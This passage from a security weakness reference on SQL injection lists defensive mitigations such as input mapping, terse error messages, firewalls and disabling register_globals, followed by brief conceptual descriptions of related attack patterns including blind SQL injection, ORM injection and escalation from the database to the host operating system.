Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.